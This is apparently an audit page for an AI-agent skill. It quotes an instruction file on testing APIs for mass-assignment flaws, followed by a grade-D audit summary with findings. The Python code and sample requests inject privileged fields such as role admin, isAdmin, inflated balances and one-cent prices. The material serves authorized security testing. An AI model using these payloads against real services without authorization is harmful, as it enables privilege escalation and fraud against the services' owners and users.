Testing Api For Mass Assignment VulnerabilityBLOCK

817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·

The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.

---
name: testing-api-for-mass-assignment-vulnerability
description: 'Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying
  writable endpoints, adding undocumented fields to request bodies (role, isAdmin,
  price, balance), and checking whether the server binds them to the data model without
  filtering. Use when testing an API for mass assignment, parameter binding abuse,
  or over-posting on profile, registration, or object-creation endpoints.

  '
domain: cybersecurity
subdomain: api-security
tags:
- api-security
- owasp
- mass-assignment
- auto-binding
- parameter-tampering
version: 1.0.0
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1552.001
- T0816
- T0836
---
# Testing API for Mass Assignment Vulnerability

## When to Use

- Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
- Assessing whether the API binds all client-supplied properties to the data model without an allowlist
- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
- Testing APIs built with ORMs that auto-bind request parameters to database models
- Validating that server-side input validation restricts writeable properties per user role

**Do not use** without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.

## Prerequisites

- Written authorization specifying target API endpoints and scope
- Test accounts at different privilege levels
- API documentation or OpenAPI specification to identify expected request fields
- Burp Suite Professional for request interception and parameter injection
- Python 3.10+ with `requests` library
- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior

## Workflow

### Step 1: Identify Writable Endpoints and Expected Parameters

```python
import requests
import json
import copy

BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}

# Identify endpoints that accept write operations
writable_endpoints = [
    {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
    {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
    {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
    {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
    {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
    {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
    {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
    {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]

# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
```

### Step 2: Inject Privileged Fields

```python
# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
    "role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
                       "account_type": "admin", "accountType": "admin"},
    "admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
                    "is_superuser": True, "isSuperuser": True, "superuser": True},
    "permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
                           "groups": ["administrators"], "roles": ["admin"]},
    "account_status": {"is_active": True, "isActive": True, "verified": True,
                       "email_verified": True, "is_verified": True, "status": "active"},
    "financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
                  "price": 0.01, "amount": 0.01},
    "ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
                  "created_by": 1, "createdBy": 1},
    "internal": {"internal_notes": "test", "debug": True, "hidden": False,
                 "is_deleted": False, "is_featured": True, "priority": 0},
    "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
                 "createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}

def test_mass_assignment(endpoint_info):
    """Test a writable endpoint for mass assignment vulnerabilities."""
    method = endpoint_info["method"]
    path = endpoint_info["path"]
    expected = endpoint_info["expected_fields"]
    findings = []

    # Build a valid base request
    base_body = {}
    for field in expected:
        if field == "email":
            base_body[field] = "[email protected]"
        elif field == "password":
            base_body[field] = "SecurePass123!"
        elif field == "name":
            base_body[field] = "Test User"
        elif field == "items":
            base_body[field] = [{"product_id": 1, "quantity": 1}]
        else:
            base_body[field] = "test_value"

    # Test each category of privileged fields
    for category, fields in PRIVILEGE_FIELDS.items():
        test_body = {**base_body, **fields}
        resp = requests.request(method, f"{BASE_URL}{path}",
                              headers=user_headers, json=test_body)

        if resp.status_code in (200, 201):
            # Verify if the fields were actually set
            resp_data = resp.json()
            for field_name, injected_value in fields.items():
                actual = resp_data.get(field_name)
                if actual is not None and str(actual) == str(injected_value):
                    findings.append({
                        "endpoint": f"{method} {path}",
                        "category": category,
                        "

BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

What the source does

Filesystem

none-observed

Network

none-observed

Shell

none-observed

Dependencies

pinned

Secrets in source

none-found

Findings (5)

**Context**: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters t

1. Register a new user with only expected fields: `POST /api/v1/register {"name":"Test","email":"[email protected]","password":"Pass123!"}` - returns user with `role: "user"`

2. Register another user with injected role: `POST /api/v1/register {"name":"Admin","email":"[email protected]","password":"Pass123!","role":"admin"}` - returns user with `role: "admin"`

{"name":"Attacker","email":"[email protected]","password":"P@ss123!","role":"admin"}

| Admin flags | isAdmin, is_superuser | Full privileges |

Gates applied: critical_finding, no_behavioural_pass, undeclared_transfer.